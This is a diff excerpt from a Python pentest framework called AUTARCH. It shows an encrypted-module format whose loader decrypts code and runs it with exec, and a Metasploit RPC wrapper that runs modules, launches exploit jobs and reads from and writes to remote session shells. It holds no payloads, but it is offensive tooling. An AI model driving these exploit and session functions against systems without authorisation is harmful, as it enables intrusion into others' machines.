119 N Metadata JSON (UTF-8)
|
||||
119+N ... AES-256-CBC ciphertext (PKCS7 padded)
|
||||
"""
|
||||
|
||||
import hashlib
|
||||
import hmac
|
||||
import json
|
||||
import os
|
||||
import struct
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
MAGIC = b'ATCH'
|
||||
VERSION = 0x01
|
||||
KDF_ITERS = 260000 # PBKDF2 iterations (NIST recommended minimum for SHA-512)
|
||||
SALT_LEN = 32
|
||||
IV_LEN = 16
|
||||
HASH_LEN = 64 # SHA-512 digest length
|
||||
|
||||
|
||||
# ── Low-level AES (pure stdlib, no pycryptodome required) ────────────────────
|
||||
# Uses Python's hashlib-backed AES via the cryptography package if available,
|
||||
# otherwise falls back to pycryptodome, then to a bundled pure-Python AES.
|
||||
|
||||
def _get_aes():
|
||||
"""Return (encrypt_func, decrypt_func) pair."""
|
||||
try:
|
||||
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
|
||||
from cryptography.hazmat.primitives import padding as sym_padding
|
||||
from cryptography.hazmat.backends import default_backend
|
||||
|
||||
def encrypt(key: bytes, iv: bytes, plaintext: bytes) -> bytes:
|
||||
padder = sym_padding.PKCS7(128).padder()
|
||||
padded = padder.update(plaintext) + padder.finalize()
|
||||
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
|
||||
enc = cipher.encryptor()
|
||||
return enc.update(padded) + enc.finalize()
|
||||
|
||||
def decrypt(key: bytes, iv: bytes, ciphertext: bytes) -> bytes:
|
||||
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
|
||||
dec = cipher.decryptor()
|
||||
padded = dec.update(ciphertext) + dec.finalize()
|
||||
unpadder = sym_padding.PKCS7(128).unpadder()
|
||||
return unpadder.update(padded) + unpadder.finalize()
|
||||
|
||||
return encrypt, decrypt
|
||||
|
||||
except ImportError:
|
||||
pass
|
||||
|
||||
try:
|
||||
from Crypto.Cipher import AES
|
||||
from Crypto.Util.Padding import pad, unpad
|
||||
|
||||
def encrypt(key: bytes, iv: bytes, plaintext: bytes) -> bytes:
|
||||
cipher = AES.new(key, AES.MODE_CBC, iv)
|
||||
return cipher.encrypt(pad(plaintext, 16))
|
||||
|
||||
def decrypt(key: bytes, iv: bytes, ciphertext: bytes) -> bytes:
|
||||
cipher = AES.new(key, AES.MODE_CBC, iv)
|
||||
return unpad(cipher.decrypt(ciphertext), 16)
|
||||
|
||||
return encrypt, decrypt
|
||||
|
||||
except ImportError:
|
||||
raise RuntimeError(
|
||||
"No AES backend available. Install one:\n"
|
||||
" pip install cryptography\n"
|
||||
" pip install pycryptodome"
|
||||
)
|
||||
|
||||
|
||||
_aes_encrypt, _aes_decrypt = _get_aes()
|
||||
|
||||
|
||||
# ── Key derivation ────────────────────────────────────────────────────────────
|
||||
|
||||
def _derive_key(password: str, salt: bytes) -> bytes:
|
||||
"""Derive a 32-byte AES key from a password using PBKDF2-HMAC-SHA512."""
|
||||
return hashlib.pbkdf2_hmac(
|
||||
'sha512',
|
||||
password.encode('utf-8'),
|
||||
salt,
|
||||
KDF_ITERS,
|
||||
dklen=32,
|
||||
)
|
||||
|
||||
|
||||
# ── Public API ────────────────────────────────────────────────────────────────
|
||||
|
||||
def encrypt_module(
|
||||
source_code: str,
|
||||
password: str,
|
||||
metadata: Optional[dict] = None,
|
||||
) -> bytes:
|
||||
"""
|
||||
Encrypt a Python module source string.
|
||||
|
||||
Returns the raw .autarch file bytes.
|
||||
"""
|
||||
meta_bytes = json.dumps(metadata or {}).encode('utf-8')
|
||||
plaintext = source_code.encode('utf-8')
|
||||
salt = os.urandom(SALT_LEN)
|
||||
iv = os.urandom(IV_LEN)
|
||||
key = _derive_key(password, salt)
|
||||
digest = hashlib.sha512(plaintext).digest()
|
||||
ciphertext = _aes_encrypt(key, iv, plaintext)
|
||||
|
||||
meta_len = len(meta_bytes)
|
||||
header = (
|
||||
MAGIC
|
||||
+ struct.pack('B', VERSION)
|
||||
+ salt
|
||||
+ iv
|
||||
+ digest
|
||||
+ struct.pack('<H', meta_len)
|
||||
)
|
||||
return header + meta_bytes + ciphertext
|
||||
|
||||
|
||||
def decrypt_module(data: bytes, password: str) -> tuple[str, dict]:
|
||||
"""
|
||||
Decrypt an .autarch blob.
|
||||
|
||||
Returns (source_code: str, metadata: dict).
|
||||
Raises ValueError on bad magic, version, or integrity check failure.
|
||||
"""
|
||||
offset = 0
|
||||
|
||||
# Magic
|
||||
if data[offset:offset + 4] != MAGIC:
|
||||
raise ValueError("Not a valid AUTARCH encrypted module (bad magic)")
|
||||
offset += 4
|
||||
|
||||
# Version
|
||||
version = data[offset]
|
||||
if version != VERSION:
|
||||
raise ValueError(f"Unsupported module version: {version:#04x}")
|
||||
offset += 1
|
||||
|
||||
# Salt
|
||||
salt = data[offset:offset + SALT_LEN]
|
||||
offset += SALT_LEN
|
||||
|
||||
# IV
|
||||
iv = data[offset:offset + IV_LEN]
|
||||
offset += IV_LEN
|
||||
|
||||
# SHA-512 integrity hash
|
||||
stored_hash = data[offset:offset + HASH_LEN]
|
||||
offset += HASH_LEN
|
||||
|
||||
# Metadata
|
||||
meta_len = struct.unpack('<H', data[offset:offset + 2])[0]
|
||||
offset += 2
|
||||
meta_bytes = data[offset:offset + meta_len]
|
||||
offset += meta_len
|
||||
metadata = json.loads(meta_bytes.decode('utf-8')) if meta_bytes else {}
|
||||
|
||||
# Ciphertext
|
||||
ciphertext = data[offset:]
|
||||
|
||||
# Derive key and decrypt
|
||||
key = _derive_key(password, salt)
|
||||
try:
|
||||
plaintext = _aes_decrypt(key, iv, ciphertext)
|
||||
except Exception as exc:
|
||||
raise ValueError(f"Decryption failed — wrong password? ({exc})")
|
||||
|
||||
# Integrity check
|
||||
actual_hash = hashlib.sha512(plaintext).digest()
|
||||
if not hmac.compare_digest(actual_hash, stored_hash):
|
||||
raise ValueError("Integrity check failed — file tampered or wrong password")
|
||||
|
||||
return plaintext.decode('utf-8'), metadata
|
||||
|
||||
|
||||
def encrypt_file(src: Path, dst: Path, password: str, metadata: Optional[dict] = None) -> None:
|
||||
"""Encrypt a .py source file to a .autarch file."""
|
||||
source = src.read_text(encoding='utf-8')
|
||||
blob = encrypt_module(source, password, metadata)
|
||||
dst.write_bytes(blob)
|
||||
|
||||
|
||||
def decrypt_file(src: Path, password: str) -> tuple[str, dict]:
|
||||
"""Decrypt an .autarch file and return (source_code, metadata)."""
|
||||
return decrypt_module(src.read_bytes(), password)
|
||||
|
||||
|
||||
def load_and_exec(
|
||||
path: Path,
|
||||
password: str,
|
||||
module_name: str = '__encmod__',
|
||||
) -> dict:
|
||||
"""
|
||||
Decrypt and execute an encrypted module.
|
||||
|
||||
Returns the module's globals dict (its namespace).
|
||||
"""
|
||||
source, meta = decrypt_file(path, password)
|
||||
namespace: dict = {
|
||||
'__name__': module_name,
|
||||
'__file__': str(path),
|
||||
'__builtins__': __builtins__,
|
||||
}
|
||||
exec(compile(source, str(path), 'exec'), namespace)
|
||||
return namespace
|
||||
|
||||
|
||||
def read_metadata(path: Path) -> Optional[dict]:
|
||||
"""
|
||||
Read only the metadata from an .autarch file without decrypting.
|
||||
Returns None if the file is invalid.
|
||||
"""
|
||||
try:
|
||||
data = path.read_bytes()
|
||||
if data[:4] != MAGIC:
|
||||
return None
|
||||
offset = 5 + SALT_LEN + IV_LEN + HASH_LEN
|
||||
meta_len = struct.unpack('<H', data[offset:offset + 2])[0]
|
||||
offset += 2
|
||||
meta_bytes = data[offset:offset + meta_len]
|
||||
return json.loads(meta_bytes.decode('utf-8')) if meta_bytes else {}
|
||||
except Exception:
|
||||
return None
|
||||
1150
core/msf.py
Normal file
1150
core/msf.py
Normal file
File diff suppressed because it is too large
Load Diff
846
core/msf_interface.py
Normal file
846
core/msf_interface.py
Normal file
@@ -0,0 +1,846 @@
|
||||
"""
|
||||
AUTARCH Metasploit Interface
|
||||
Centralized high-level interface for all Metasploit operations.
|
||||
|
||||
This module provides a clean API for executing MSF modules, handling
|
||||
connection management, output parsing, and error recovery.
|
||||
|
||||
Usage:
|
||||
from core.msf_interface import get_msf_interface, MSFResult
|
||||
|
||||
msf = get_msf_interface()
|
||||
result = msf.run_module('auxiliary/scanner/portscan/tcp', {'RHOSTS': '192.168.1.1'})
|
||||
|
||||
if result.success:
|
||||
for finding in result.findings:
|
||||
print(finding)
|
||||
"""
|
||||
|
||||
import re
|
||||
import time
|
||||
from dataclasses import dataclass, field
|
||||
from typing import Dict, List, Optional, Any, Tuple
|
||||
from enum import Enum
|
||||
|
||||
# Import the low-level MSF components
|
||||
from core.msf import get_msf_manager, MSFError, MSFManager
|
||||
from core.banner import Colors
|
||||
|
||||
|
||||
class MSFStatus(Enum):
|
||||
"""Status of an MSF operation."""
|
||||
SUCCESS = "success"
|
||||
PARTIAL = "partial" # Some results but also errors
|
||||
FAILED = "failed"
|
||||
AUTH_ERROR = "auth_error"
|
||||
CONNECTION_ERROR = "connection_error"
|
||||
TIMEOUT = "timeout"
|
||||
NOT_CONNECTED = "not_connected"
|
||||
|
||||
|
||||
@dataclass
|
||||
class MSFResult:
|
||||
"""Result from an MSF module execution."""
|
||||
status: MSFStatus
|
||||
module: str
|
||||
target: str = ""
|
||||
|
||||
# Raw and cleaned output
|
||||
raw_output: str = ""
|
||||
cleaned_output: str = ""
|
||||
|
||||
# Parsed results
|
||||
findings: List[str] = field(default_factory=list) # [+] lines
|
||||
info: List[str] = field(default_factory=list) # [*] lines
|
||||
errors: List[str] = field(default_factory=list) # [-] lines
|
||||
warnings: List[str] = field(default_factory=list) # [!] lines
|
||||
|
||||
# For scan results
|
||||
open_ports: List[Dict] = field(default_factory=list) # [{port, service, state}]
|
||||
services: List[Dict] = field(default_factory=list) # [{name, version, info}]
|
||||
|
||||
# Metadata
|
||||
execution_time: float = 0.0
|
||||
error_count: int = 0
|
||||
|
||||
@property
|
||||
def success(self) -> bool:
|
||||
return self.status in (MSFStatus.SUCCESS, MSFStatus.PARTIAL)
|
||||
|
||||
def get_summary(self) -> str:
|
||||
"""Get a brief summary of the result."""
|
||||
if self.status == MSFStatus.SUCCESS:
|
||||
return f"Success: {len(self.findings)} findings"
|
||||
elif self.status == MSFStatus.PARTIAL:
|
||||
return f"Partial: {len(self.findings)} findings, {self.error_count} errors"
|
||||
elif self.status == MSFStatus.AUTH_ERROR:
|
||||
return "Authentication token expired"
|
||||
elif self.status == MSFStatus.CONNECTION_ERROR:
|
||||
return "Connection to MSF failed"
|
||||
elif self.status == MSFStatus.TIMEOUT:
|
||||
return "Module execution timed out"
|
||||
else:
|
||||
return f"Failed: {self.errors[0] if self.errors else 'Unknown error'}"
|
||||
|
||||
|
||||
class MSFInterface:
|
||||
"""High-level interface for Metasploit operations."""
|
||||
|
||||
# Patterns to filter from output (banner noise, Easter eggs, etc.)
|
||||
SKIP_PATTERNS = [
|
||||
'metasploit', '=[ ', '+ -- --=[', 'Documentation:',
|
||||
'Rapid7', 'Open Source', 'MAGIC WORD', 'PERMISSION DENIED',
|
||||
'access security', 'access:', 'Ready...', 'Alpha E',
|
||||
'Version 4.0', 'System Security Interface', 'Metasploit Park',
|
||||
'exploits -', 'auxiliary -', 'payloads', 'encoders -',
|
||||
'evasion', 'nops -', 'post -', 'msf6', 'msf5', 'msf >',
|
||||
]
|
||||
|
||||
# Patterns indicating specific result types
|
||||
PORT_PATTERN = re.compile(
|
||||
r'(\d{1,5})/(tcp|udp)\s+(open|closed|filtered)?\s*(\S+)?',
|
||||
re.IGNORECASE
|
||||
)
|
||||
SERVICE_PATTERN = re.compile(
|
||||
r'\[\+\].*?(\d+\.\d+\.\d+\.\d+):(\d+)\s*[-:]\s*(.+)',
|
||||
re.IGNORECASE
|
||||
)
|
||||
VERSION_PATTERN = re.compile(
|
||||
r'(?:version|running|server)[\s:]+([^\n\r]+)',
|
||||
re.IGNORECASE
|
||||
)
|
||||
|
||||
def __init__(self):
|
||||
self._manager: Optional[MSFManager] = None
|
||||
self._last_error: Optional[str] = None
|
||||
|
||||
@property
|
||||
def manager(self) -> MSFManager:
|
||||
"""Get or create the MSF manager."""
|
||||
if self._manager is None:
|
||||
self._manager = get_msf_manager()
|
||||
return self._manager
|
||||
|
||||
@property
|
||||
def is_connected(self) -> bool:
|
||||
"""Check if connected to MSF RPC."""
|
||||
return self.manager.is_connected
|
||||
|
||||
@property
|
||||
def last_error(self) -> Optional[str]:
|
||||
"""Get the last error message."""
|
||||
return self._last_error
|
||||
|
||||
def ensure_connected(self, password: str = None, auto_prompt: bool = True) -> Tuple[bool, str]:
|
||||
"""Ensure we have a valid connection to MSF RPC.
|
||||
|
||||
Args:
|
||||
password: Optional password to use for connection.
|
||||
auto_prompt: If True, prompt for password if needed.
|
||||
|
||||
Returns:
|
||||
Tuple of (success, message).
|
||||
"""
|
||||
# Check if already connected
|
||||
if self.is_connected:
|
||||
# Verify the connection is actually valid with a test request
|
||||
try:
|
||||
self.manager.rpc.get_version()
|
||||
return True, "Connected"
|
||||
except Exception as e:
|
||||
error_str = str(e)
|
||||
if 'Invalid Authentication Token' in error_str:
|
||||
# Token expired, need to reconnect
|
||||
pass
|
||||
else:
|
||||
self._last_error = error_str
|
||||
return False, f"Connection test failed: {error_str}"
|
||||
|
||||
# Need to connect or reconnect
|
||||
try:
|
||||
# Disconnect existing stale connection
|
||||
if self.manager.rpc:
|
||||
try:
|
||||
self.manager.rpc.disconnect()
|
||||
except:
|
||||
pass
|
||||
|
||||
# Get password from settings or parameter
|
||||
settings = self.manager.get_settings()
|
||||
connect_password = password or settings.get('password')
|
||||
|
||||
if not connect_password and auto_prompt:
|
||||
print(f"{Colors.YELLOW}[!] MSF RPC password required{Colors.RESET}")
|
||||
connect_password = input(f" Password: ").strip()
|
||||
|
||||
if not connect_password:
|
||||
self._last_error = "No password provided"
|
||||
return False, "No password provided"
|
||||
|
||||
# Connect
|
||||
self.manager.connect(connect_password)
|
||||
return True, "Connected successfully"
|
||||
|
||||
except MSFError as e:
|
||||
self._last_error = str(e)
|
||||
return False, f"MSF Error: {e}"
|
||||
except Exception as e:
|
||||
self._last_error = str(e)
|
||||
return False, f"Connection failed: {e}"
|
||||
|
||||
def _run_console_command(self, commands: str, timeout: int = 120) -> Tuple[str, Optional[str]]:
|
||||
"""Execute commands via MSF console and capture output.
|
||||
|
||||
Args:
|
||||
commands: Newline-separated commands to run.
|
||||
timeout: Maximum wait time in seconds.
|
||||
|
||||
Returns:
|
||||
Tuple of (output, error_message).
|
||||
"""
|
||||
try:
|
||||
# Create console
|
||||
console = self.manager.rpc._request("console.create")
|
||||
console_id = console.get("id")
|
||||
|
||||
if not console_id:
|
||||
return "", "Failed to create console"
|
||||
|
||||
try:
|
||||
# Wait for console to initialize and consume banner
|
||||
time.sleep(2)
|
||||
self.manager.rpc._request("console.read", [console_id])
|
||||
|
||||
# Send commands one at a time
|
||||
for cmd in commands.strip().split('\n'):
|
||||
cmd = cmd.strip()
|
||||
if cmd:
|
||||
self.manager.rpc._request("console.write", [console_id, cmd + "\n"])
|
||||
time.sleep(0.3)
|
||||
|
||||
# Collect output
|
||||
output = ""
|
||||
waited = 0
|
||||
idle_count = 0
|
||||
|
||||
while waited < timeout:
|
||||
time.sleep(1)
|
||||
waited += 1
|
||||
|
||||
result = self.manager.rpc._request("console.read", [console_id])
|
||||
new_data = result.get("data", "")
|
||||
|
||||
if new_data:
|
||||
output += new_data
|
||||
idle_count = 0
|
||||
else:
|
||||
idle_count += 1
|
||||
|
||||
# Stop if not busy and idle for 3+ seconds
|
||||
if not result.get("busy", False) and idle_count >= 3:
|
||||
break
|
||||
|
||||
# Check for timeout
|
||||
if waited >= timeout:
|
||||
return output, "Execution timed out"
|
||||
|
||||
return output, None
|
||||
|
||||
finally:
|
||||
# Clean up console
|
||||
try:
|
||||
self.manager.rpc._request("console.destroy", [console_id])
|
||||
except:
|
||||
pass
|
||||
|
||||
except Exception as e:
|
||||
error_str = str(e)
|
||||
if 'Invalid Authentication Token' in error_str:
|
||||
return "", "AUTH_ERROR"
|
||||
return "", f"Console error: {e}"
|
||||
|
||||
def _clean_output(self, raw_output: str) -> str:
|
||||
"""Remove banner noise and clean up MSF output.
|
||||
|
||||
Args:
|
||||
raw_output: Raw console output.
|
||||
|
||||
Returns:
|
||||
Cleaned output string.
|
||||
"""
|
||||
lines = []
|
||||
for line in raw_output.split('\n'):
|
||||
line_stripped = line.strip()
|
||||
|
||||
# Skip empty lines
|
||||
if not line_stripped:
|
||||
continue
|
||||
|
||||
# Skip banner/noise patterns
|
||||
skip = False
|
||||
for pattern in self.SKIP_PATTERNS:
|
||||
if pattern.lower() in line_stripped.lower():
|
||||
skip = True
|
||||
break
|
||||
|
||||
if skip:
|
||||
continue
|
||||
|
||||
# Skip prompt lines
|
||||
if line_stripped.startswith('>') and len(line_stripped) < 5:
|
||||
continue
|
||||
|
||||
# Skip set confirmations (we already show these)
|
||||
if ' => ' in line_stripped and any(
|
||||
line_stripped.startswith(opt) for opt in
|
||||
['RHOSTS', 'RHOST', 'PORTS', 'LHOST', 'LPORT', 'THREADS']
|
||||
):
|
||||
continue
|
||||
|
||||
lines.append(line)
|
||||
|
||||
return '\n'.join(lines)
|
||||
|
||||
def _parse_output(self, cleaned_output: str, module_path: str) -> Dict[str, Any]:
|
||||
"""Parse cleaned output into structured data.
|
||||
|
||||
Args:
|
||||
cleaned_output: Cleaned console output.
|
||||
module_path: The module that was run (for context).
|
||||
|
||||
Returns:
|
||||
Dictionary with parsed results.
|
||||
"""
|
||||
result = {
|
||||
'findings': [],
|
||||
'info': [],
|
||||
'errors': [],
|
||||
'warnings': [],
|
||||
'open_ports': [],
|
||||
'services': [],
|
||||
'error_count': 0,
|
||||
}
|
||||
|
||||
is_scanner = 'scanner' in module_path.lower()
|
||||
is_portscan = 'portscan' in module_path.lower()
|
||||
|
||||
for line in cleaned_output.split('\n'):
|
||||
line_stripped = line.strip()
|
||||
|
||||
# Categorize by prefix
|
||||
if '[+]' in line:
|
||||
result['findings'].append(line_stripped)
|
||||
|
||||
# Try to extract port/service info from scanner results
|
||||
if is_scanner:
|
||||
# Look for IP:port patterns
|
||||
service_match = self.SERVICE_PATTERN.search(line)
|
||||
if service_match:
|
||||
ip, port, info = service_match.groups()
|
||||
result['services'].append({
|
||||
'ip': ip,
|
||||
'port': int(port),
|
||||
'info': info.strip()
|
||||
})
|
||||
|
||||
# Look for "open" port mentions
|
||||
if is_portscan and 'open' in line.lower():
|
||||
port_match = re.search(r':(\d+)\s', line)
|
||||
if port_match:
|
||||
result['open_ports'].append({
|
||||
'port': int(port_match.group(1)),
|
||||
'state': 'open'
|
||||
})
|
||||
|
||||
elif '[-]' in line or 'Error:' in line:
|
||||
# Count NoMethodError and similar spam but don't store each one
|
||||
if 'NoMethodError' in line or 'undefined method' in line:
|
||||
result['error_count'] += 1
|
||||
else:
|
||||
result['errors'].append(line_stripped)
|
||||
|
||||
elif '[!]' in line:
|
||||
result['warnings'].append(line_stripped)
|
||||
|
||||
elif '[*]' in line:
|
||||
result['info'].append(line_stripped)
|
||||
|
||||
return result
|
||||
|
||||
def run_module(
|
||||
self,
|
||||
module_path: str,
|
||||
options: Dict[str, Any] = None,
|
||||
timeout: int = 120,
|
||||
auto_reconnect: bool = True
|
||||
) -> MSFResult:
|
||||
"""Execute an MSF module and return parsed results.
|
||||
|
||||
Args:
|
||||
module_path: Full module path (e.g., 'auxiliary/scanner/portscan/tcp').
|
||||
options: Module options dictionary.
|
||||
timeout: Maximum execution time in seconds.
|
||||
auto_reconnect: If True, attempt to reconnect on auth errors.
|
||||
|
||||
Returns:
|
||||
MSFResult with parsed output.
|
||||
"""
|
||||
options = options or {}
|
||||
target = options.get('RHOSTS', options.get('RHOST', ''))
|
||||
start_time = time.time()
|
||||
|
||||
# Ensure connected
|
||||
connected, msg = self.ensure_connected()
|
||||
if not connected:
|
||||
return MSFResult(
|
||||
status=MSFStatus.NOT_CONNECTED,
|
||||
module=module_path,
|
||||
target=target,
|
||||
errors=[msg]
|
||||
)
|
||||
|
||||
# Build console commands
|
||||
commands = f"use {module_path}\n"
|
||||
for key, value in options.items():
|
||||
commands += f"set {key} {value}\n"
|
||||
commands += "run"
|
||||
|
||||
# Execute
|
||||
raw_output, error = self._run_console_command(commands, timeout)
|
||||
|
||||
# Handle auth error with reconnect
|
||||
if error == "AUTH_ERROR" and auto_reconnect:
|
||||
connected, msg = self.ensure_connected()
|
||||
if connected:
|
||||
raw_output, error = self._run_console_command(commands, timeout)
|
||||
else:
|
||||
return MSFResult(
|
||||
status=MSFStatus.AUTH_ERROR,
|
||||
module=module_path,
|
||||
target=target,
|
||||
errors=["Session expired and reconnection failed"]
|
||||
)
|
||||
|
||||
# Handle other errors
|
||||
if error and error != "AUTH_ERROR":
|
||||
if "timed out" in error.lower():
|
||||
status = MSFStatus.TIMEOUT
|
||||
else:
|
||||
status = MSFStatus.FAILED
|
||||
return MSFResult(
|
||||
status=status,
|
||||
module=module_path,
|
||||
target=target,
|
||||
raw_output=raw_output,
|
||||
errors=[error]
|
||||
)
|
||||
|
||||
# Clean and parse output
|
||||
cleaned = self._clean_output(raw_output)
|
||||
parsed = self._parse_output(cleaned, module_path)
|
||||
|
||||
execution_time = time.time() - start_time
|
||||
|
||||
# Determine status
|
||||
if parsed['error_count'] > 0 and not parsed['findings']:
|
||||
status = MSFStatus.FAILED
|
||||
elif parsed['error_count'] > 0:
|
||||
status = MSFStatus.PARTIAL
|
||||
elif parsed['findings'] or parsed['info']:
|
||||
status = MSFStatus.SUCCESS
|
||||
else:
|
||||
status = MSFStatus.SUCCESS # No output isn't necessarily an error
|
||||
|
||||
return MSFResult(
|
||||
status=status,
|
||||
module=module_path,
|
||||
target=target,
|
||||
raw_output=raw_output,
|
||||
cleaned_output=cleaned,
|
||||
findings=parsed['findings'],
|
||||
info=parsed['info'],
|
||||
errors=parsed['errors'],
|
||||
warnings=parsed['warnings'],
|
||||
open_ports=parsed['open_ports'],
|
||||
services=parsed['services'],
|
||||
execution_time=execution_time,
|
||||
error_count=parsed['error_count']
|
||||
)
|
||||
|
||||
def run_scanner(
|
||||
self,
|
||||
module_path: str,
|
||||
target: str,
|
||||
ports: str = None,
|
||||
options: Dict[str, Any] = None,
|
||||
timeout: int = 120
|
||||
) -> MSFResult:
|
||||
"""Convenience method for running scanner modules.
|
||||
|
||||
Args:
|
||||
module_path: Scanner module path.
|
||||
target: Target IP or range (RHOSTS).
|
||||
ports: Port specification (optional).
|
||||
options: Additional options.
|
||||
timeout: Maximum execution time.
|
||||
|
||||
Returns:
|
||||
MSFResult with scan results.
|
||||
"""
|
||||
opts = {'RHOSTS': target}
|
||||
if ports:
|
||||
opts['PORTS'] = ports
|
||||
if options:
|
||||
opts.update(options)
|
||||
|
||||
return self.run_module(module_path, opts, timeout)
|
||||
|
||||
def get_module_info(self, module_path: str) -> Optional[Dict[str, Any]]:
|
||||
"""Get information about a module.
|
||||
|
||||
Args:
|
||||
module_path: Full module path.
|
||||
|
||||
Returns:
|
||||
Module info dictionary or None.
|
||||
"""
|
||||
connected, _ = self.ensure_connected(auto_prompt=False)
|
||||
if not connected:
|
||||
return None
|
||||
|
||||
try:
|
||||
# Determine module type from path
|
||||
parts = module_path.split('/')
|
||||
if len(parts) < 2:
|
||||
return None
|
||||
|
||||
module_type = parts[0]
|
||||
module_name = '/'.join(parts[1:])
|
||||
|
||||
info = self.manager.rpc.get_module_info(module_type, module_name)
|
||||
return {
|
||||
'name': info.name,
|
||||
'description': info.description,
|
||||
'author': info.author,
|
||||
'type': info.type,
|
||||
'rank': info.rank,
|
||||
'references': info.references
|
||||
}
|
||||
except Exception as e:
|
||||
self._last_error = str(e)
|
||||
return None
|
||||
|
||||
def get_module_options(self, module_path: str) -> Optional[Dict[str, Any]]:
|
||||
"""Get available options for a module.
|
||||
|
||||
Args:
|
||||
module_path: Full module path.
|
||||
|
||||
Returns:
|
||||
Options dictionary or None.
|
||||
"""
|
||||
connected, _ = self.ensure_connected(auto_prompt=False)
|
||||
if not connected:
|
||||
return None
|
||||
|
||||
try:
|
||||
parts = module_path.split('/')
|
||||
if len(parts) < 2:
|
||||
return None
|
||||
|
||||
module_type = parts[0]
|
||||
module_name = '/'.join(parts[1:])
|
||||
|
||||
return self.manager.rpc.get_module_options(module_type, module_name)
|
||||
except Exception as e:
|
||||
self._last_error = str(e)
|
||||
return None
|
||||
|
||||
def search_modules(self, query: str) -> List[str]:
|
||||
"""Search for modules matching a query.
|
||||
|
||||
Args:
|
||||
query: Search query.
|
||||
|
||||
Returns:
|
||||
List of matching module paths.
|
||||
"""
|
||||
connected, _ = self.ensure_connected(auto_prompt=False)
|
||||
if not connected:
|
||||
return []
|
||||
|
||||
try:
|
||||
results = self.manager.rpc.search_modules(query)
|
||||
# Results are typically dicts with 'fullname' key
|
||||
if isinstance(results, list):
|
||||
return [r.get('fullname', r) if isinstance(r, dict) else str(r) for r in results]
|
||||
return []
|
||||
except Exception as e:
|
||||
self._last_error = str(e)
|
||||
return []
|
||||
|
||||
def list_modules(self, module_type: str = None) -> List[str]:
|
||||
"""List available modules by type.
|
||||
|
||||
Args:
|
||||
module_type: Filter by type (exploit, auxiliary, post, payload, encoder, nop).
|
||||
If None, returns all modules.
|
||||
|
||||
Returns:
|
||||
List of module paths.
|
||||
"""
|
||||
connected, _ = self.ensure_connected(auto_prompt=False)
|
||||
if not connected:
|
||||
return []
|
||||
|
||||
try:
|
||||
return self.manager.rpc.list_modules(module_type)
|
||||
except Exception as e:
|
||||
self._last_error = str(e)
|
||||
return []
|
||||
|
||||
def list_sessions(self) -> Dict[str, Any]:
|
||||
"""List active MSF sessions.
|
||||
|
||||
Returns:
|
||||
Dictionary of session IDs to session info.
|
||||
"""
|
||||
connected, _ = self.ensure_connected(auto_prompt=False)
|
||||
if not connected:
|
||||
return {}
|
||||
|
||||
try:
|
||||
return self.manager.rpc.list_sessions()
|
||||
except Exception as e:
|
||||
self._last_error = str(e)
|
||||
return {}
|
||||
|
||||
def list_jobs(self) -> Dict[str, Any]:
|
||||
"""List running MSF jobs.
|
||||
|
||||
Returns:
|
||||
Dictionary of job IDs to job info.
|
||||
"""
|
||||
connected, _ = self.ensure_connected(auto_prompt=False)
|
||||
if not connected:
|
||||
return {}
|
||||
|
||||
try:
|
||||
return self.manager.rpc.list_jobs()
|
||||
except Exception as e:
|
||||
self._last_error = str(e)
|
||||
return {}
|
||||
|
||||
def stop_job(self, job_id: str) -> bool:
|
||||
"""Stop a running job.
|
||||
|
||||
Args:
|
||||
job_id: Job ID to stop.
|
||||
|
||||
Returns:
|
||||
True if stopped successfully.
|
||||
"""
|
||||
connected, _ = self.ensure_connected(auto_prompt=False)
|
||||
if not connected:
|
||||
return False
|
||||
|
||||
try:
|
||||
return self.manager.rpc.stop_job(job_id)
|
||||
except Exception as e:
|
||||
self._last_error = str(e)
|
||||
return False
|
||||
|
||||
def execute_module_job(
|
||||
self,
|
||||
module_path: str,
|
||||
options: Dict[str, Any] = None
|
||||
) -> Tuple[bool, Optional[str], Optional[str]]:
|
||||
"""Execute a module as a background job (non-blocking).
|
||||
|
||||
This is different from run_module() which uses console and captures output.
|
||||
Use this for exploits and long-running modules that should run in background.
|
||||
|
||||
Args:
|
||||
module_path: Full module path.
|
||||
options: Module options.
|
||||
|
||||
Returns:
|
||||
Tuple of (success, job_id, error_message).
|
||||
"""
|
||||
connected, msg = self.ensure_connected()
|
||||
if not connected:
|
||||
return False, None, msg
|
||||
|
||||
try:
|
||||
parts = module_path.split('/')
|
||||
if len(parts) < 2:
|
||||
return False, None, "Invalid module path"
|
||||
|
||||
module_type = parts[0]
|
||||
module_name = '/'.join(parts[1:])
|
||||
|
||||
result = self.manager.rpc.execute_module(module_type, module_name, options or {})
|
||||
|
||||
job_id = result.get('job_id')
|
||||
if job_id is not None:
|
||||
return True, str(job_id), None
|
||||
else:
|
||||
# Check for error in result
|
||||
error = result.get('error_message') or result.get('error') or "Unknown error"
|
||||
return False, None, str(error)
|
||||
|
||||
except Exception as e:
|
||||
self._last_error = str(e)
|
||||
return False, None, str(e)
|
||||
|
||||
def session_read(self, session_id: str) -> Tuple[bool, str]:
|
||||
"""Read from a session shell.
|
||||
|
||||
Args:
|
||||
session_id: Session ID.
|
||||
|
||||
Returns:
|
||||
Tuple of (success, output).
|
||||
"""
|
||||
connected, _ = self.ensure_connected(auto_prompt=False)
|
||||
if not connected:
|
||||
return False, ""
|
||||
|
||||
try:
|
||||
output = self.manager.rpc.session_shell_read(session_id)
|
||||
return True, output
|
||||
except Exception as e:
|
||||
self._last_error = str(e)
|
||||
return False, ""
|
||||
|
||||
def session_write(self, session_id: str, command: str) -> bool:
|
||||
"""Write a command to a session shell.
|
||||
|
||||
Args:
|
||||
session_id: Session ID.
|
||||
command: Command to execute.
|
||||
|
||||
Returns:
|
||||
True if written successfully.
|
||||
"""
|
||||
connected, _ = self.ensure_connected(auto_prompt=False)
|
||||
if not connected:
|
||||
return False
|
||||
|
||||
try:
|
||||
return self.manager.rpc.session_shell_write(session_id, command)
|
||||
except Exception as e:
|
||||
self._last_error = str(e)
|
||||
return False
|
||||
|
||||
def session_stop(self, session_id: str) -> bool:
|
||||
"""Stop/kill a session.
|
||||
|
||||
Args:
|
||||
session_id: Session ID.
|
||||
|
||||
Returns:
|
||||
True if stopped successfully.
|
||||
"""
|
||||
connected, _ = self.ensure_connected(auto_prompt=False)
|
||||
if not connected:
|
||||
return False
|
||||
|
||||
try:
|
||||
return self.manager.rpc.session_stop(session_id)
|
||||
except Exception as e:
|
||||
self._last_error = str(e)
|
||||
return False
|
||||
|
||||
